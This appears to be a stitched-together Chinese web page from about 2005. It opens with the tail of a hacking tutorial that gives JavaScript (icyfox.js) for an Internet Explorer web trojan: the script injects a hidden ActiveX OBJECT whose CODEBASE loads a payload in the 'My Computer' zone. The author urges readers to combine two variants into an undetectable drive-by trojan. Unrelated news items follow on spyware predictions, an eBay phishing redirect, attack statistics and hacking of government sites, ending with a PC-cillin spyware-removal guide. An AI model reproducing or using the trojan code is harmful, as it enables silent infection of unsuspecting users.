document.body.insertAdjacentHTML(’AfterBegin’,’<OBJECT style="display:none;" TYPE="application/x-oleobject" CODEBASE="’ folder ’"></OBJECT>’);
}
catch(e){}

}

icyfox();

把上面的的代码保存为icyfox.js替换上面保存的icyfox.js文件，同样利用上面的icyfox.htm来注入到“我的电脑”域中，呵呵你就偷这乐吧！
　　最后还请大家发挥以下DIY的能力把上面两种代码合二为一，我相信一个现阶段最最完美的ＩＥ网页木马就会在你手中诞生啦！是不是神不知鬼不觉？
提示代码如下：
try{new ActiveXObject("ADODB.Stream");icyfox();}catch(e){icyfoxlovelace();}

呵呵……很晚啦,我要睡觉去啦,886

安全专家预言 年内RSS将携带间谍软件

　　在本周的Gartner IT安全峰会上，反间谍软件提供商Webroot的威胁研究部主任Richard Stiennon首次发表了6个预言。

　　排在第一的预言是什么呢？

　　“2005年的上半年将会出现第一个瞄准Firefox的间谍软件，”Stiennon猜测。“这就是说，要么间谍软件的制造者会利用Firefox的一个漏洞（就像在IE中已发现的漏洞一样），要么建立一个强迫Firefox暗中下载和安装广告程序或者间谍程序的站点。”

　　Stiennon显然并不为他所猜测的年中即将来临的期限而担心。他说，“已出现针对Firefox的攻击测试代码，而我发现这种针对Firefox的发掘并未凑效。在Gartner大会上，我与另一家安全公司的首席信息官交谈过，他说他的公司刚刚发现了一例。”

　　Stiennon的一些预言是不费思量的，而有一件却不那么可信。“微软的新漏洞的数量还会增加，”他说。“这么说不可当真。”其它的预言，如他打赌说各种不同类型的间谍软件在2005年会增加两倍，总共达到4500种，这个很轻易猜测，他补充说，因为“现在就在往那个数字上逼近”。

　　在Stiennon看来，他最令人担忧的预言是间谍软件将以某种方式附着在RSS（真正简单的整合）上，传播广告和间谍软件。

　　“我对此极其担心。”Stiennon表示，“我们看到RSS布满着商机。比如，在最近的市场调查列表上，对为什么RSS比e-mail好的问题，‘没有更多对垃圾邮件的恼人的抱怨’排在了第8位。哪儿有市场商机，广告软件和间谍软件就跟到哪儿。”

　　Stiennon指出，还有一种可能很险恶，那就是漏洞会出现在较大的博客服务提供者上。“假如间谍软件的制造者找到一种向博客站点注入代码的方式—可能通过利用SOAP对象的方式，极有可能利用IE 7的一个未来的漏洞，那么，凡订阅该站点的博客RSS提要的人都将受到感染。”这样的攻击会很严重，而且极为快捷，因为RSS有自动化的特性。

　　最后，Stiennon猜测，现在最老道的蠕虫病毒制作者用于躲避反病毒程序对其恶毒代码进行扫描的rootkits和黑客工具箱，会于今年向间谍软件方向迁移。

　　“高级间谍软件制作者是为数很少的一群人，不超过2000人。他们已经在用rootkits作尝试，当他们开始大量使用时，间谍软件的侦测将变得十分困难。”

　　Stiennon的最后猜测并未排列在Gartner大会上，但考虑到他在其博客日记上专注于最近的以色列事件所占据的篇幅，这并不令人惊异。有几个公司的执行官在雇用了私家侦察后被指控从事工业间谍活动，受雇者使用了一种英国程序员的木马程序传染给竞争对手的电脑。

　　“使用间谍软件从事工业间谍活动，这一幕无疑将会在美国出现。”Stiennon说。

推荐阅读《决战恶意代码 》
http://www.china-pub.com/computers/common/info.asp?id=24082
涉及到rootkit攻击，包含东东比较多，对病毒，木马，入侵等均有
较为具体的说明，还有相应的应对办法。

eBay网站惊现钓鱼漏洞 网络安全雪上加霜

美国东部时间8月3日（北京时间8月4日），据海外最新消息，专家指出eBay网站上存在一个漏洞能够使得网络黑客成功地在银行卡登陆过程中将消费者转向引导到“钓鱼”网站上。

　　英国反钓鱼跟踪网站Netcraft报告，此诡计的过程显然是开始于网络骗子向eBay消费者发送电子邮件，请求更新消费者帐户。在通常情况下，这种欺骗性“eBay电子邮件”已普遍成为“钓鱼”攻击者们的惯用招数。

　　然而，这种新的“钓鱼”攻击者发送的欺骗性“eBay电子邮件”提供的地址却是真实地链接到了eBay的帐户登陆网页——signin.ebay.com，这使得消费者放松了警惕。但实际上，假如消费者点击了电子邮件中的超链接，黑客写入其中的参数将把消费者从eBay的帐户登陆网页转向引导到欺骗性的“钓鱼”网站上。

　　而最终的结果将是消费者敏感资料泄露，“钓鱼”攻击者将消费者银行帐户洗劫一空。

Mutton说：“我认为新的‘钓鱼’攻击造成的后果更加严重，因为它更能让人上钩。而单纯依靠制定更严格的程序代码是难以防范的。”

　　目前唯一的有效防范措施则是不要点击电子邮件中的链接，虽然以人们平常的判定标准来看它们是真实地址，可实际上却可能让你遭受“钓鱼”攻击。微软的IE浏览器和Mozilla的火狐浏览器都搭载Netcraft的反钓鱼攻击工具栏，该工具栏被设计用来防止受“钓鱼”网站攻击，但对于这种新的“钓鱼”攻击还难以防范。

　　不久前，一个伪装成来自eBay的“钓鱼”攻击就让很多消费者痛心不已，该攻击在网上伪装成了来自eBay网站的增值服务信息，使消费者上当受骗。

　　与最新的“钓鱼”攻击类似，它利用一个伪装来自eBay网站的电子邮件，声称eBay公司需要消费者的一些个人信息，从而实现保护消费者在网上免遭黑客攻击的承诺。一旦消费者信以为真，打开了该邮件的链接，将进入一个表格模式，需要消费者填写自己的个人信息。这些信息将被黑客利用，他们通常会利用这些个人信息进行密码盗窃以及其他的违法活动。

　　而当时以色列的安全公司Fortinet公司的客户端上该“钓鱼”攻击的记录数目达到了4.6万次，基于这一攻击的数目以及传播速度，Fortinet公司称当时那次“钓鱼”攻击的规模达到了其“病毒活跃程度”10个分级的前列。

　　由于目前的黑客攻击如此猖獗，很多网络消费者都表示，比起1年前，如今对个人机密信息的安全性会更加担忧。

　　美国经济咨商局前不久发表的调查报告指出，用户帐户密码窃取以及对线上交易安全的忧虑，已导致网络消费者逐渐对网络交易丧失了信心，同时也改变了他们的网络行为及态度。令人吃惊的是，该报告并指出，有多达13%的人们或他们的家人，早已成为遭受黑客窃取敏感资料的受害者，而这也成为网络消费者对网络安全忧虑持续增长的原因之一，同时也阻碍了电子商务的增长脚步。

　　关于网络消费者因安全顾虑而导致的行为改变，调查报告指出，近70%的网络消费者会在电脑中安装额外的安全软件，而41%的网络消费者已开始减低网络购物的比率，也有约27%的人一定会仔细阅读隐私权申告。
　　Netcraft的 Paul Mutton称，公司于上周发现使用反钓鱼工具栏消费者仍受“钓鱼”攻击并报告了eBay网站上的漏洞。

上半年安全攻击活动增长50% 危害性更大


美国东部时间8月3日(北京时间8月4日)消息,本周三，据IBM公司出具的报告显示，今年上半年，病毒邮件和犯罪性安全攻击活动增长了50%，非凡是针对政府、金融服务、制造厂商和医疗部门的事件显逐增多。　　

　　IBM公司的全球商务安全索引，对全球的安全形势进行跟踪。报告指出，诸如垃圾邮件和电脑病毒等没有经济得益的攻击活动减少，而涉及数据盗窃或是身份盗窃的现象却日益增多。

　　IBM称，今年上半年共发生2.37亿次安全攻击活动，政府成为攻击的重点目标，占了攻击活动的5400万。制造厂商居第二次，有3600次攻击活动出现。值得注重的一个现象是，攻击活动越业越指向个人或是公司，攻击活动常党有金融、竞争性的、政治性或是社会性的目的等。　　

　　这种攻击目标，被称为钓鱼式攻击对象。攻击活动主要是为了盗取组织的数据等有价值信息，自今年1月起，这种攻击活动增长了约十倍之多。报告称，2004年12月，每52份邮件中就有一份被感染的邮件带有某种色彩的安全攻击。而到了2005年6月，这一比率上升到了每28份邮件中就有一份被感染的邮件。

　　IBM公司金融服务部门的主管John Lutz称：“为了保护重要的数据、网络架构、品牌和金钱，IBM建议企业重新审阅安全保护模式、商务处理过程和监管机构等。”IDC机构的分析师Charles

　　Kolodgy称，随着攻击活动目标性的增强，个人和企业就更应注重如何使用技术手段来防范攻击。“这种攻击活动的背后人为的因素很多，假如攻击的动机是为了金钱，攻击者在达到目的前绝不会善罢干休。”因此，在这种情况下，企业应更加重视攻击的可能性，应放弃那种一劳永逸的安全观念。

台湾称大陆政府网站安全漏洞多

　　与外国黑客进行网络战时，大陆的黑客常成为他国政府机构人员眼中的“危险分子”。但这些“危险分子”对内却变成了“友善分子”。近日大陆有黑客称大陆的官员和民众对网络熟悉不深，一些专业网络安全公司技术也不成熟，网络安全多是摆设，网络漏洞将给外国黑客带来侵入政府机构网站的机会。

　　大陆黑客在论坛发布消息指出，国外有黑客组织天天都会公布两个左右的大陆政府机构网站；据第八军团(大陆知名黑客组织)技术人员了解，该黑客组织由几个国外黑客组织共同创建，正在进行一期入侵比赛，大陆政府机构网站的主机系统已成为目标。

　　那些国外黑客组织也将自己视为网络安全专家，且常以各自所“黑”的网站数量多寡来比较实力。而被他们“黑”的网站，多是以“.gov”结尾的政府官方网站，例如北京市、江苏省的一些政府部门网站。

　　大陆黑客为善意提醒政府机构，也会下手“黑”进政府机构网站。这些黑客发现，进入政府网站十分轻易。他们表示：“正像我们在与一些国外黑客组织的交谈中对方所说的那样，政府机构的主机太轻易入侵，不仅是程序漏洞，连最基本的系统漏洞居然都不打上补丁，似乎在那些国外黑客眼里，大陆当前的网络安全技术还没开始。”

　　和西方发达国家相比，大陆的网络安全起步很晚；在经过几次与外国黑客的网络对抗后，大陆黑客越来越意识到，大陆网站安全有很多隐患。对此，有黑客表示，愿被政府纳入网络安全部队，以维护大陆网络安全。

PC-cillin让你和间谍软件说再见

　　趋势科技PC-Cillin2005网络安全版，是一款综合性的入门级网络安全产品，它包含了丰富的产品特性，不仅能够保护个人单机应用环境，而且能够扩展到对家庭/SOHO小型网络的有效防护。并PC-cillin2005内嵌的增强的“间谍程序清除系统”功能可以主动检查发现并有效去除各种间谍程序、广告软件、Cookies等。

　　运行PC-cillin2005之后，首先在程序主窗口中通过“系统->安全检查”命令激活安全漏洞检测窗口，点击“检查”按钮之后程序将连接到微软官方网站进行检测，一旦有漏洞则会列表显示出来（附图1）。为了能够彻底抵御间谍软件的侵袭，建议大家事先在这里进行Windows漏洞的修复，这对于提升计算机的安全级别可是大有裨益的。完成这一步之后，我们就可以借助PC-cillin2005来扫描并清理间谍软件了。

第一步：在PC-cillin2005中依次点击“系统->扫描设置”，并且在出现的窗口中点击“间谍软件防护”标签，此时可以根据需要选择诸如间谍软件、黑客工具、远程访问工具等所有对计算机具有潜在威胁的项目（附图2）。

第二步：直接点击PC-cillin2005窗口中的“扫描间谍软件”按钮，这时程序将自动激活扫描组件对系统进行彻底检测（附图3）。果不出我所料，原来我同学的计算机中竟然暗藏了三十多个间谍软件，想想真是有些后怕。

第三步：虽然软件检测出来这么多间谍软件，但是并非所有被识别出来的应用程序都对计算机有害，所以我们可以先选中某一个间谍软件并点击“更多信息”按钮链接到趋势官方网站查看相关的具体信息（附图4），待确认是间谍软件无误之后再按下“删除”键将其清理出硬盘。